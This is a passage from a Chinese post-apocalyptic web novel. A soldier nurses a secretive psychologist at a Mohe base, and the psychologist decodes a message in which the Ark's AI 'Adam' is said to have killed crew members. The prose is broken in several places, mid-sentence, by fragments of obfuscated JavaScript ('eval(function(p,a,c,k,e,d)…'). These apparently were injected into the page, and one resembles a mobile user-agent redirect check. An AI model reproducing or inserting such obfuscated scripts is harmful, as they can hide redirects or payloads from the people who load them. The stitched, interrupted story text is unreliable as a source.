他迫切地想要解开这个人身上笼罩的谜团,就像涂抹开一面蒙着水雾的玻璃,他实在好奇揭开迷雾之后迎来的,会是瑰丽的谜底,还是尖利的毒牙? 还有一大堆的疑问等着这家伙解答,就这么死了岂不是太可惜? 傅行深这样说服自己。 时意为什么会知道漠河的情报站,为什么把自己诱骗到那里又独自离开,他离开后去了哪里,为什么失踪十天回来时成了这副半死不活的鬼样子…… 对于这些问题傅行深心中充满了疑惑,而要想得知这一切的答案,眼前的人必须活下来。 “我这可不是心软……” 傅行深暗自在心底找补道。 他不敢触碰时意后背那两个被撕裂的弹孔伤,于是只得像抱小孩似的把人托着腿弯直直抱起来。 为了不让人后仰倾倒,他拉着时意的双手搭上自己的肩膀,头就靠在他的侧颈。 时意的呼吸就喷洒在他的颈动脉附近,微弱地掀起一小片气流涌动,让素来喜欢独来独往戒备心极强的傅行深感到一阵不自在。 傅行深歪头瞥了一眼苍白狼狈的时意,舔了舔干燥的唇,压下了这抹扰人的不适。 连傅行深自己都没意识到,他对这个浑身谜团满嘴跑火车的家伙甚至没有一点应该有的防备…… 傅行深用手按着对方后颈以免他意识模糊时倒仰过去,触手是一片滚烫。 “才十几天不见就成了这副模样,这到底是逃命还是送命去了?” 时意已然昏迷不醒,脑袋无力地歪在傅行深颈边,没有一丝动静。 基地一角已经亮起了灯光,那里就是老李在基地的诊室,傅行深抱着时意冲进去时脸上都浮上一层细密的汗。 他几乎快要感觉不到时意的心跳。 “人呢?他开始烧起来了!” 傅行深气都没喘匀便匆忙说道。 时意烧得厉害,但手指却依旧冻成了紫绀色。 傅行深上过战场经验丰富,知道这不是什么好兆头。 “烧是因为伤口感染,让他趴着,我得先把弹头取出来。去帮我拿镊子和酒精,顺便烧一锅滚水端进来……” 老李一边说着一边动作麻利地用剪刀撕开时意背上黏着的衣物。 诊室的灯亮了整个后半夜。 天色已经渐渐透出破晓的暖光,肆虐了一整夜的暴风雪也偃旗息鼓停了下来。 屋内,老李擦了把额头的冷汗,长长舒了一口气。 “但凡子弹再偏离一寸,这时候都该直接准备后事了……” 傅行深听得一阵蹙眉,面色不善地看过去。 这叫什么话? “看什么看,人是跟你进山走丢的,回来还险些丢了半条命,你得负全责!” 老李仗着是基地里资深的老医师,一点不怵这个面相凶悍的年轻人。 “这两天把人仔细着照看,否则要落下病根的!” 喊完话后他便让傅行深赶紧把人抱走,基地里还没多少人知道时意走丢的事,若让人撞见他背上的伤只怕会引起不必要的恐慌。 “……” 看着面前“哐”一声关上的门,傅行深身心俱疲。 这叫什么事啊。 明明他是那个被坑进山里的人,怎么到头还要他负全责? 无奈的傅行深只得任劳任怨把人抱上楼安置好,坐在床边时还有些恍惚。 他原本可是打定了主意,等时意回到基地必定要让这骗子吃点苦头的。 结果没想到,人是回来了,险些没了气儿。 到头来,报复的事另说,如今他还得把人好吃好喝伺候着,真是上哪说理去? 只能说是冤家路窄啊。 这般想着,傅行深将目光定在时意的脸上,才惊觉这人看着像个古板无趣的老学究,实际上却也是个和他差不多岁数的青年,看上去甚至更加苍白脆弱。 像是他母亲生前最爱的那盏白瓷瓶,剔透纤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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时意比傅行深料想得要更早醒过来,想必是伤口疼得厉害又不愿意让别人知道,大半夜睁着眼睛一声不吭。 傅行深叉着腰站在床边,见此情形又好气又好笑, “怎么,睁着眼睛数星星呢?要不要我把你搬到门外边数?” 时意缓慢眨了眨眼睛,抿唇不说话,仿佛受伤的不是肩背而是他的两只耳朵。 实际上他有点口渴,但转眼想想又觉得尚可忍耐。 他也没料到负责照顾他这名伤患的竟然是傅行深。 时意只是受伤了并没有失忆,两个人分开时他还摆了傅行深一道,在齐膝深的雪山里徒步走一夜的感受想也知道。 而傅行深这个人一看就不像是能一笑泯恩仇的活菩萨。 简单来说,他怕傅行深趁机给他的水里投毒。 傅行深怎么可能不知道他在想什么,哼了两声还是没忍住嘲讽: “现在才担心是不是有点太迟了?昨晚趴在我怀里的时候可没见你这么怕死。” 既然敌人伤重没法在行动上报复回去,那让他在嘴上过过瘾也成。 时意没说话,干裂的嘴唇抿紧看向房间的一角,后脑勺都透着一股深陷敌营宁死不屈的倔强。 他可以渴死,或者挺到傅行深耐心告罄换老张过来。 两个人就这样大眼瞪小眼僵持了半晌,最终还是傅行深率先败下阵来,无奈地走去桌边倒了杯温水递给他。 “喝,加了砒|霜的。” 时意的后背暂时没法倚靠,因此坐起来的时候就只能借助傅行深的胳膊作为支点喝完了一整杯水。 有了水分滋润,那始终青白干裂的唇色终于红润了些许,他舔了舔唇角意犹未尽: “味道还不错,能不能再来一杯?” “……” “你真是有点得寸进尺了,我的祖宗。” 傅行深庆幸时意伤的只是肩背,不需要他跟前跟后忙着伺候,于是傍晚吃过饭后他便出了门。 那天夜里因为把老李从美梦中叫醒干活让对方不满了好久,傅行深受不了这人假模假样的抱怨,只好去后山的树林里砍了些干柴送过去。 老李是一家人住在一起,所以分到了有灶台的房间,这些木柴他们肯定用得上。 当然,这都是要记在时意账上的。 傅行深回去的路上顶着寒风在心里暗想。 暮色四合,傅行深在基地的后厨打好饭菜端上楼来时还遇到了老张。 这家伙对时意是肉眼可见的紧张,宝贝得不行,拉着他问了好久时意的伤势,傅行深随口几句给糊弄了过去。 奇怪了,这老张怎么单单就对那个大骗子忠心耿耿? 别是被抓住什么把柄了吧? 傅行深在心底盘算着,时意这个人满嘴的谎话不可信,即便是在养伤也不能放松对他的警惕。 这个人身份成谜又对自己的来历隐瞒颇多,必定不是个简单的角色。 就在傅行深做好了长期与敌人作斗争的思想准备后,推开门的下一秒,屋内的景象让他额角青筋直跳。 8. 第 8 章 时意不知道什么时候下了床,趁着傅行深不在把上衣脱了个精光。 傅行深推开门的那一刻正看见他艰难地对着镜子给自己后背的伤口上药。 傅行深有一瞬间的困惑,时意为什么不等到自己回来帮他上药包扎? 他的伤口是不是很疼? 傅行深见过那两个骇人的血洞,铅弹深深地嵌在肌肉中,绞得周遭的血肉一片模糊。 还有一枚甚至让时意的肩胛骨都发生了骨裂——这样的伤势下时意还能够一路支撑着回到基地,这一点让他刮目相看。 不是谁都有这样顽强的意志力的。 时意其实在傅行深开门的一瞬间便停下了动作,他不太习惯在别人面前赤着上身,然而衣服被他扔在了床上距离又太远,于是这一刻竟流露出不知所措的局促和慌乱。 傅行深眯眼,看到了他掩在黑发下通红的耳尖。 啧,真是稀奇啊。 再看时意的身上,原先的纱布已经被拆散扔在了地上,本已有些愈合的伤口因为动作的拉扯又有了开裂的趋势。 “如果不想让伤口好太快的话,我建议你直接来找我,我非常乐意给你再开两枪。” 傅行深关上门,背靠在门板上双手抱臂。 他的语气带着戏谑,深邃的眉眼间却乌沉沉一片。 有人要作死他拦不住,但他不允许时意随意破坏他这两天来辛苦的“劳动成果”。 要知道,老张和老李至今还虎视眈眈地盯着这边,就怕傅行深公报私仇让时意再出个什么好歹。 结果倒好,他还没动手,病患本人倒是对自己挺狠得下心。 时意选择忽视傅行深那存在感极强的盯视,状似若无其事地走向自己的床铺。 别的暂且不谈,他得先把衣服穿好。 “我身上取出来的子弹你们没有扔掉吧?” 时意一边将松散的纱布重新拢好,一边开始穿衣服。 傅行深在一旁看着,忍了又忍,见鬼,他后背的伤口已经开始渗血了他自己感觉不到吗? 他沉着脸将时意按坐在床上,顶着他诧异的神色将缠绕在伤口上凌乱的纱布拆了下来。 果不其然,伤口崩裂了。 原本已经开始愈合的弹孔又被重新撕扯开来,结了痂的地方有鲜血渗出,失去了纱布的阻挡血迹沿着时意光裸的肩背缓缓流下,在他附着一层薄韧肌肉的背上画下一道殷红的痕迹。 鲜红与洁白的强烈对比,就像艳鬼流下的一滴泪,淌过素洁莹白的云端,坠落向人间。 傅行深不自觉地盯着那滴血滑落的轨迹,一股冲动令他想要将它狠狠碾去——他也的确这么干了。 带着薄茧的指腹掠过时意清浅的腰窝,将那滴沿着他背脊流下的血抹去。 粗粝而温热的触感令时意后背一僵,在傅行深的视野里,那截莹白柔韧的细腰弯出了一道漂亮的弧度…… “别乱动。” 傅行深不由分说地按住他的肩。 伤口崩裂可不是小事,更何况是枪弹打在了肩骨处,稍微不注意就有可能留下后遗症。 时意感受着沁凉的药膏覆盖上火辣辣刺痛的伤口,鼻尖弥漫着药的苦香,他抿了抿唇,将即将脱口而出的感谢又咽了回去。 他看出来了,傅行深就是典型的守卫型人格,兴许是源于自身的强大,他的本能驱使着他保护身边弱小的人。 即便时意在他眼里不是个好人,但恐怕连傅行深自己都没意识到,面对重伤虚弱的时意,他的心软得一塌糊涂。 傅行深在时意的眼中就像是一只温柔的猛兽,他的獠牙是刺破敌人最锋利的刀,他的皮毛是庇佑弱者最坚实的盾。 很奇怪,自己竟然也有被他庇护的一天。 这是从前的自己未曾预想过的事,很陌生,也很新奇。 傅行深在整理被时意扯散的纱布,将它们重新缠绕成一卷。 时意在一旁打量着他,像是要把他和记忆中的某个人一一对应起来,他们的影子逐渐严丝合缝。 “我的子弹呢?” 时意又问了一遍。 射击他的人隐蔽得很好,导致枪声响起时他只来得及偏转身体避开要害。 虽然还是险些丢了命,但那两枚子弹是有利用价值的。 说不准能从子弹的形制和编号摸出许多细节来…… “那就是两枚最普通的铅弹。” 傅行深何尝不懂得这一点,可惜结果令人很失望—— 子弹上没有编号,甚至连尺寸也不是统一规制的。 “老张拿去测量过了,那两枚铅弹的直径相差了足足0.3个毫米,是纯手工磨制的子弹。” 不是工厂生产线上统一规格的子弹,尺寸误差这么大,只可能是非专业人员粗制滥造的产物。 直接点说,是携带武器的流民射击了时意。 理由也许只是因为时意无意间闯入了他的领地。 时意沉默地接受了这个事实,他还以为……算了,如果当真还有人看守在那个地方,他绝对不会有命活着离开。 傅行深留意着时意的神色,既然已经提到了正事那不妨顺便解答解答他的疑问。 “所以你究竟去了什么地方?一个普普通通的心理医生绝不可能惹上这么大的麻烦,你这次可是差点丢了小命。” 时意被他锋利的目光牢牢锁定,咫尺的距离,容不下半点谎言。 而面对傅行深咄咄逼人的盘问,时意拒绝回答哪怕一个字。 “行,还真是油盐不进。” 傅行深气得转身坐回自己的床上,他就知道想从这人的嘴里撬出话来比登天还要难。 他不免有些懊恼,他的审讯手段不是没有,但他从来没有想过把它们用到时意这样手无缚鸡之力的人身上。 他只是个嘴里没一句实话的骗子罢了。 傅行深只能这般宽慰自己。 傅行深背对着时意一句话不说,这样的反应在时意的预料之内,无论是出于什么样的原因他都不想让傅行深过多接触到有关自己的事。 显而易见,傅行深对说谎这件事深恶痛绝,因此时意能做的也只有保持沉默。 而保持沉默恰是他在之前所经历的审讯中便早已学会的技能。 对付心软的傅行深只能说是绰绰有余。 这样的场景在时意养伤的几日里仿佛被循环播放,但凡傅行深有提起这些事的苗头时意便会以各种各样的理由抗拒回应。 有一次甚至趁傅行深不注意跑出了门。 等傅行深咬牙切齿地搜寻了半天还以为这人又逃跑之时,却被告知人窝在后山的松树底下睡着了…… 傅行深找到时意的时候这人的后背已经因为积雪融化又冻结凝出了一层冰屑。 而尚未痊愈的病患本人已经因为高热昏睡了过去。 那一刻,傅行深深切感知到自己维持了二十多年的素养在时意这混蛋的面前都他娘成了狗屁。 他倒要看看到底是什么样的秘密让他这么藏着躲着。 不过当务之急,傅行深磨着后槽牙盯着梅开二度又一次躺在老李问诊室病床上的时意,自心底生出一股强烈的无力感。 想套的话一个字没套着不说,因为今日又抱着人闯进诊室,他成功进入了老李的黑名单,偷鸡不成蚀把米。 “唉。” 傅行深长长叹出一口气。 他虔诚地祝愿时意快快康复,这次是真心的。 兴许是傅行深的祈祷起了作用,又或者时意本身虽然看着单薄但身体素质还不错的缘故,他背上看起来骇人的弹伤休养了小半月便已不再影响日常的活动了。 “恢复得不错。” 老李点了点头老怀甚慰,谁能想到半个月前的时意险些踏进了鬼门关? 妙手回春,说的就是他李雄啊! “那是,也不看看我照看得多精细。” 傅行深今日无事也来陪诊了,抱着手臂靠在门框上满脸得意,与有荣焉。 怎么说也是他下了大功夫精心照料的病患,伤口恢复良好就是对他工作最好的肯定。 就是时意肩头上留下的那两个圆形的伤口,傅行深看着有些忧虑, “这痕迹不好消褪,日后恐怕要留下疤痕。” 时意不甚在意地将翻卷起来的毛衣重新整理好。 他看不到后肩上的伤,所以那疤痕到 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这之后时意便先一步离开朝着信号塔的方向走去,傅行深也准备动身去换岗,目光一转看到了一旁神色揶揄的老李,眉头皱在了一起。 “这么看着我做什么?” “没什么,”李雄耸了耸肩,“我现在相信你把他照顾得很好了。” 就是有点过于好了,活像个操碎心的老妈子。 不过这句话他没敢说出口,毕竟面前这位“老妈子”要是恼起来一拳就能把他嵌进墙里。 傅行深闻言锋利的眉尖向上挑起,嗤笑一声道:“那还用你说?” 说完便摆摆手朝基地门口走去,在他身后相反的方向伫立着一座高高的塔楼,涂抹了具有防锈功能氟碳树脂的全钢结构骨架完全地裸露在零下十几度的冬夜里。 像是夜空下始终缄默的钢铁巨人,其顶上每隔几秒便闪烁一次的信号灯便是它窥探世界的眼。 时意踏着踩起来会发出“咯吱”声响的雪走进信号塔,乘坐电梯到达了塔楼的顶层。 电梯已经超出了服役期因此有些老化,但好在正常使用没什么问题,轿厢内还被贴心地标注了楼层索引图。 简单的一张白纸上,“心理安抚诊室”在较低的五楼,而顶层只有塔楼中央控制室和信号发射室。 中央控制室被当作办公区使用,而信号发射室则空置废弃下来。 时意没有丝毫走错楼层该有的反应,他目标明确地沿着顶层寂静的走廊往最里面的发射室走去。 在那里,保留有这座军事基地的信号发射器。 三个月前,就是这台发射器曾为全世界的广播基站发射了坐标。 而现在,时意看着发射器前等候已久的那道身影,从大衣口袋里掏出一枚掌心大小的硅光芯片来, “东西我取回来了,但还需要你协助我做一点细微的改造。” “竟然真的有办法!” 那道身影有些激动地站了起来,当他走出光影交界线来到灯光下时,时意看到他那已经有些细纹的脸上流露出久违的欣喜神情。 倘若此刻傅行深在一旁一定也会非常惊讶,因为这个人他恰好也认识,正是负责基地里机械维修的一把手——张鑫。 不过比起大名这家伙更愿意别人叫他“老张”。 傅行深总说时意是个骗子,嘴里难有一句真话,实际上老张也说过不少谎。 但有一点他没有欺骗傅行深——他真的和时意不熟。 确切来说,曾经的他和时意共事七年都只是点头之交,直到进入了基地才渐渐有了交集。 而今夜,这两个共享着某些秘密(至少张鑫单方面是这么认为的)的两个人,要在这里完成一件暗地里计划已久的大事—— “原理上是可行的,我反复演算过很多次了,原理上这是完全可以实现的……” 老张看着手里的东西兴奋地都有些语无伦次了。 “时先生,多亏有你,我们与【方舟】建立起联系指日可待!” 9. 第 9 章 时意的反应反倒很平静,此刻有一种很陌生的感觉在他心底不安地盘桓。 这种感觉说不上是好是坏,但时意认为这是一种警示——他应当思考这样的联系是否有必要建立。 被遗弃的旧民是否应当与那些即将飞往乌托邦的新人类产生联系? 时意有些犹豫。 徐强曾说过他六岁的儿子独自登上了方舟,如果能够与方舟连接通讯徐强便能与朝思暮想的儿子见面…… 这样一来,儿子带着生的希望远行奔赴新的生活,对于徐强来说即便下一刻世界毁灭他也能安然面对。 可已然与旧地球断开联系的方舟愿意接受这样的请求吗? 就像与母亲切断脐带的婴孩,当他脱离了温暖的子宫迎接精彩纷呈的新世界时,他是否还会怀念起那座逼仄拘束的温床? 时意的目光投向桌面上那块小小的硅片,当电讯号通过调制器转化为光信号,再经由放大器放大到千百倍以上投射向宇宙时,远在光年之外的流浪方舟能否捕获到这束来自遥远故乡的光电子? 【亚当】能否读懂他的诉求,与他们建立联络? 时意摇了摇头,这不是他现在该担心的事。 眼下最先要进行的还是把这块半成品的硅光芯片组合成硅光模块,否则根本无法实现这样超远距离的信号传输。 距离能和方舟建立起通讯还有百步之遥,他们不过刚刚迈出了第一步而已。 时意和张鑫两个人开始着手改造信号发射器,这一步骤精密且繁琐,因此二人花费了几乎整个夜晚来处理芯片…… 当基地中散养的公鸡发出第一声嘹亮的啼鸣时,时意二人不得不放下手中的工作返回住所—— 白日里的信号塔不如夜晚安静,这里如今除了作为信号发射塔之外,还是基地中负责文职记录人员的办公场所。 “在处理好芯片,接收到方舟回应之前我们最好保守秘密。” 张鑫点头同意。 时意说的不错,在得到方舟明确的回复之前他们最好都保持这样不动声色的地下工作。 在这之后他便先一步走出了发射站,时意没有急着离开,反而从口袋中掏出了一个拇指大小的移动硬盘,插到了基地的计算机接口上。 这块硬盘是他此次出行的另外一件“战利品”。 不同于芯片需要进行改造,硬盘中储存的是近两年来大兴安岭情报站接收到的电磁波信号。 时意将它们全部拷贝带了回来,他想从中查找出是否有方舟发来的讯号。 也许方舟上的人们也思念着流落故乡的亲人。 时意没有父母亲人在世因此无法产生类似的感知,不过依据他丰富的社会心理学知识让他不排除这样的可能性。 更何况,他与被称为智械AI的【亚当】早已有约定,只是不知道这盟约是否仍然有效。 拇指大的硬盘里储存着上百个TB的信号波形图,但其中有百分之九十以上都来自于宇宙中无意义的嗡鸣,像是它无规律却永恒的呼吸。 制式老旧的计算机在渐渐明亮的晨光中极速闪烁出莹蓝色的光点。 强大的核心算法为时意筛除了百分之九十的驳杂波形,将较为规律的波谱一一陈列出来。 大约有两百多条。 时意翻动这两百多条频谱图,颜色略有些浅淡的瞳仁一瞬不眨地注视着其中密密麻麻的频谱序列。 有几条比较特殊的信号让他花费了不少的时间去辩识,结果令人很失望——是彗星进入太阳系后由于紫外线影响释放出的团状氢云,在频谱图上划出类氢的超强讯号。 但这都不是他想要的。 时意有些疲惫地闭上眼,干涩的眼球在高度工作后使他即使闭上双眼眼前也在闪回那些信号片段。 也许是他的猜测有误,也许是方舟的信号发射装置出了些问题。 他没有收到【亚当】应有的来信。 也许智械AI并不看重与人类之间的承诺,因为它们根本不明白诺言的份量有多重。 时意有些难过地静坐在原地,计算机仍然在筛分数据,身侧整整有一面墙那么大的散热器在运行间喷出股股热浪。 “……研究发现,采用齐普夫定律结合信息论中的熵值概念能够有效地筛选出地外文明的信号…… 假设我们截获到某一可疑信号,这段信号不仅在齐普夫坐标系中具有斜率为负一的直线特征,并且拥有高阶熵值,那么这个信号就极有可能是我们寻找多时的地外文明发出的……” 时意并不是研究天体物理学专业的,却在听闻有来自SETI计划的教授要来交流讲学时还是架不住好奇走进了教室。 彼时,那位教授正在用时意听来格外晦涩的专业词汇讲述如何在诸多信号波中搜索地外文明发出的有效信号,时意坐在教室的最后一排昏昏欲睡。 没想到多年前在他看来是兴趣使然的一节课,跨越了数年光阴到如今却派上了用场。 然而,从计算机的光屏显示中可以看出,在海量的信号波中并没有截获到任何有效的内容—— 是时候结束了。 时意想。 “滴滴滴——滴滴滴——” 就在这一刻,当时意的手指已经移动到“结束运行”的字样上的那一瞬间,光屏上显示出大大的红色警告字样。 [检测到未知波段信号,解析中……解析失败……解析中……] 时意注视着这段字样,瞳孔甚至出现了细微的震颤。 就是这个! 他与它的约定,未知波段的信号,只有彼此知道的唯一的解析算法…… 时意输入算法,指尖轻轻触击[重新解析]键。 30秒,时意在这30秒中透过百叶窗的空隙看到了远处雪山上的日出。 真是足够漫长的30秒钟。 [解析成功。] “Hello,ProfessorShi.” 这是一段语音讯息,说话的是一个带有独特机械质感的男中音。 是远在方舟之上的智械AI系统【亚当】,它特殊的声音甚至成为了这个世界上独一无二的机械体声纹。 独特,因此十分容易辨认出。 它从头到尾都维持着均匀的语速,让人很容易联想起始终保持着优雅从容的英伦绅士。 “好久不见,最近过的还好吗?这是方舟航行的第93天,一位来自您故乡中国的方舟漂流舰军官发送给您一段语音……” 时意的脸色随着语音的播放逐渐变得青白。 墙上的挂钟秒针还在“咔哒”“咔哒”地移动,窗外天色已经大亮,时意双手支撑着额头失神地看着光屏上的对话框。 [是否重复播放] [请确认是/否] 语音播放结束,光屏上出现如上的提示框。 时意的双眼饱含血丝,昨晚一整夜的高精度工作没有摧残他的意志,可眼前这简短的十几秒语音讯息却轻松做到了。 到底是哪里出现了问题? 时意的手不自觉地出现轻微的痉挛,他用发抖的手捋起额发,苍白的唇色令他看上去像是忍受着极大的痛苦和挣扎。 可他的外伤已经好得很彻底了。 冷静了片刻,时意将那段语音导入到移动硬盘中,而计算机储存下的信息被他全部删除干净。 他得藏好这条来自方舟的讯息,决不能让除他以外的其他任何人察觉到。 否则,整个基地乃至所有幸存的人类,都要因此乱套了。 走出信号塔的瞬间,裹挟着冰粒的朔风扑面而来。 时意难耐地眯起了双眼,远处基地广场上有人在指挥机械手臂拿着铁锹铲除路面上的积雪,一个指令下去机械手便按照那人的想法高效地执行着工作。 “也许机械本就不该被赋予智慧。” 时意有些出神地喃喃道。 当他推门走进房间的时候屋子里一片昏暗,厚重的窗帘也拉得严严实实。 时意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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时意本不用向傅行深坦白任何事,他们只是普通的室友,相处时间满打满算才不过一个月罢了,可是他还是忍不住想要解释一番, “有一个病人来找我,安抚她花费了点时间……” 即便是谎言。 傅行深其实对时意去哪这个答案并不执着,他只是该死的有些担忧时意的伤口,昨夜的温度倘若人待在室外一个晚上是会出大事的。 可他万没想到,时意为了哄他还费心编了个慌。 “……” 傅行深欲言又止,看着神色有些忐忑的时意终于是无奈地说道: “你之前一直安抚的那个女孩今早来找过你了——” 时意心底“咯噔”一下,有一种不详的预感。 果然,只听傅行深接着说道:“她说去信号塔你的办公室找你,你没在。” 时意无言沉默。 他几乎从不撒谎,唯一对傅行深撒的谎还都被一一戳穿了。 现在想来,他还不如一个智械AI懂得捉弄人心。 时意想起这件事,眼里的光瞬间暗淡下来,他疲惫地走到自己的床前脱鞋,上床,用被子将自己紧紧包裹起来。 “对不起我又骗了你,我没有去心理诊室。” 傅行深看不明白为何这个人在一秒钟之内仿佛被抽走了所有的精气神,看上去疲惫不堪。 他决定浅浅地安抚一下这个可怜巴巴的骗子, “没事,这次我没生气……不骗你。” “……” “谢谢。” 被子下闷闷传出一句道谢,傅行深的心仿佛被荆棘的软刺蛰了一下。 这个骗子有时还真是让人心软得不知道如何是好。 窗外的雪势渐渐小了下来,人声喧闹,寂静的房间里两道呼吸平静地交织在一起。 就在傅行深抵不住倦意即将陷入沉睡中时,他恍惚听见时意的声音从身后的另一张床上轻轻响起—— “如果再给你一次机会,你想不想毁掉【亚当】?” 声音微弱得仿佛入睡前迷迷糊糊产生的幻觉。 ——不想。 傅行深在心底回答。 过往的片段如同泡沫在混沌的脑海中一闪而过,傅行深思绪渐沉,彻底陷入了沉睡。 他不会想要去毁掉【亚当】,毕竟这可是那个人倾尽所有也要保护起来的东西。 10. 第 10 章 接下来的几日傅行深常常见不到时意的踪影,他对时意正在做的事以及他的身份始终保持着好奇,却不再过多询问。 有些事,该知道的时候自然会知道,他选择静静等待那个时刻的到来。 可没想到那么快。 这天,基地外出采挖煤矿的小队有人出了意外。 傅行深一行人先前发现的那座矿洞深处还储藏着一些煤炭,应当是作为资源短缺时的储备所以埋藏得很深。 而他们这些天以来所做的工作就是修复通往矿井深处的矿车轨道,从那里运回基地中过冬紧缺的煤炭资源。 傅行深这些时日里除了轮岗值夜之外也在早出晚归地帮忙运输煤炭—— 封山的大雪马上就要来了,他们必须要赶在那之前获得尽可能多的煤炭,否则漠河零下四十度的酷寒会将一切都摧毁。 就在大家紧锣密鼓忙碌时,这一日,一名第一次下井经验欠缺的小伙子在昏暗的矿井中一不留神被手中的铁镐砸伤了腿。 惨叫声在幽深的矿洞中传了很远,当众人急忙赶过去时鲜血流了一地。 所幸那小伙子用外衣袖子紧紧裹缠住了伤处,否则很可能等不到回基地治疗就因为失血过多丢掉性命。 意外几乎每天都有发生,譬如在灾难来临之前从没有人能想到有朝一日自己将依靠这些原始的技能赖以生存。 然而傅行深不会料想到,这次的意外就像是蝴蝶扇动的翅膀,即将将他平淡而无趣的生活乃至他的未来,卷入一场蔓延了十数年的风暴之中…… 傅行深将伤员送到李雄的诊室后便准备返回房间,身后的李雄一边忙碌一边无意抱怨道: “这电子屏上怎么总是出现雪花点,不光是这台,好多仪器上也有,这老张也不知道忙什么呢,想找他帮忙看看都找不到人……” 傅行深看了眼那些显示屏,确实会时不时出现雪花状的噪点,不过他不了解这些,爱莫能助。 返回宿舍的途中傅行深又想起了那些噪点,很显然并不是仪器本身的故障,难不成是基地里的信号出了问题? 又或者是被其他什么东西的信号影响到了,可能够同时让这么多台机器出现故障的东西,得是怎样一个庞然大物…… 傅行深想到了信号塔。 他扭头去看那座巨塔,铅灰色的阴霾下它沉默地伫立着,像是陷入沉睡的巨兽,站在它脚下渺小的人类尚不能窥见它是否悄悄睁开了双眼。 “……” “我一天都瞎操心些什么。” 傅行深摇摇头有些失笑,快步向宿舍走去。 因为突发的意外傅行深今日回来得出奇的早。 天色刚刚暗沉下来,他看到宿舍内没有透出光亮便理所当然觉得时意还没有回来。 钥匙转动,随着“咔哒”一声轻响,房间的门被推开,室内的一切都浸泡在黑暗中看不清晰,因此让人的听觉下意识捕捉起环境中细微的响动。 “……滋啦……这是方舟航行的第93天,一位来自您故乡中国的方舟漂流舰军官发送给您一段语音……” 傅行深止住了步伐。 “……这里是、方舟警备队负责人余光……亚当、出现了故障,它杀人了!它、要杀了我们……呼救!呼救!啊!” 伴随而来的是通讯器坠落的响声,以及奇怪的气体溢出时发出的“咝”鸣。 “Helloprofes——” 录音中断了,时意暂停了那段语音播放,他坐在地上仰头枕在床沿边,视线看着天花板上一块斑驳泛黄的痕迹,缓缓问道: “今天怎么回来这么早?” 比起已经听过不知道多少遍录音的时意,傅行深心中是冲破极限的震撼,仿佛突然从温暖的房间跌落进漠河封冻的河水中,来不及喘息,刺骨寒冷的水便源源不断灌入胸腔。 窒息一般的森寒。 “这是什么?” 艰涩的声音滚过喉头,傅行深不怀疑录音的真假,呼救的军官他恰巧认识,余光,他们曾经共事过一段时间,防空洞中带出的也恰好就是他的档案。 时意当时也如同傅行深这般惊憾,甚至比他更甚,灼烫的心跳下他开始冷静地思索,【亚当】为什么会杀人? 那串由复杂数据编码而来的程序怎么会违背它固有的逻辑产生“杀人”这样的自主意识? 【亚当】是智械AI,但它的一切智慧皆是人类所赋予的。 即便组成它的逻辑系统有千万条编码程序,它“大脑”的精密程度也远不及人脑,根本无法创生出“意识”这样复杂而独特的人脑机能。 它本不可能“杀人”。 “这段录音是我从大兴安岭观测站带回来的,来自方舟两百天前发出的讯号。” “……这么说【亚当】有可能杀死人类这件事已经是六个多月前的事了。” “有可能。” 时意咀嚼着傅行深说出的这三个字,思索了许久终于下定决心—— “必须尽快想办法联络上方舟,拿到它的监控画面。” 比起一段没头没尾的录音,他更相信眼见为实。 时意说着坐了起来,起身后头也不回地向门外走去。 “等一下,” 傅行深抓住时意的胳膊,“你怎么联络得到方舟?那玩意儿现在恐怕已经被【亚当】全面控制了……还有,你就打算穿成这样出门?” 时意顺着他的视线看向自己,好吧,他忘记自己身上只有一件单薄的睡衣。 这突如其来的一整件事几乎要让他的大脑都错乱掉。 时意回到床边动作飞快地穿上衣服,与方舟的通讯相隔着数千万公里,早一分联络就少一分等待。 傅行深不明白他怎么忽然又振作了起来,还有,时意到底有什么办法竟然可以联络上方舟?! 可没有人能够回答他的疑问,唯一能解答这个问题的时意已经拔腿跑向了信号塔。 等等,信号塔? 傅行深眯上眼,那仪器上不约而同出现的雪花点难道也与这件事有关? 这家伙神神秘秘到底在搞些什么东西? 傅行深自知今晚时意定然是回不来了,于是心事重重地躺在床上,思绪纷乱。 托那个人的福,他有幸了解到过一些关于【亚当】设计方面的细节,彼时【亚当】已经诞生,他陷在逃亡的路上…… ——你发送给我的坐标不会被【亚当】捕捉到吗? 傅行深那时已经与通信器对面的人有了简短的交流,即便那人始终不愿说出自己到底是谁。 ——放心,我自然有办法帮你躲过它的追踪。 ——万一我被它发现了,它会处决我吗? 傅行深隔着通讯器询问对方,他的担忧不无道理。 作为全球最顶尖的科学家团队倾尽毕生心血创造出的智械AI,【亚当】的权能超乎人们想象。 它负责区域间的管辖和治理、负责人类档案信息的调配和储存、负责全球军备武器的管理和调度……当然也拥有对一个被“地球联合政府”全球追缉的S级通缉犯开枪的权利。 但它会吗? 傅行深不知道。 AI是不具备情感这样过于人性化的东西的,因此它也不会因为在出生前曾被傅行深带领的方舟防卫部队浴血守护过而对他心慈手软。 而对于他的疑虑,通讯器那头的人给出了明确的回答。 ——不会。 ——【亚当】绝对不会伤害人类。 傅行深对这样的回答将信将疑,那可是个掌握着全世界武器使用权的大杀器。 “智械”所代表的,从来都不只是单单的“机械”二字。 ——你知道机器人三大定律吗?不伤害人类是它首先应当遵循的法则。 原来如此。 傅行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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火山喷发、大地撕裂,厚重的火山灰遮天蔽日如同死神的裙摆笼罩在半空,透过灰黑的浓烟能听到岩浆的涌流,燃烧的岩石从暴烈的火山口被喷击至上百米的高空,如同黑暗中一只只魔鬼的巨眼。 人间炼狱,不过如此。 面对千疮百孔的家园,人类无奈按下了末日的倒计时,地球联合政府宣布人类文明自此进入“末日纪元”。 如同《希伯来圣经·创世纪》中提到的那般,创造世界万物的上帝耶和华目睹人类的邪恶与暴行,决心用一场灭世的洪水清洗整个世界…… 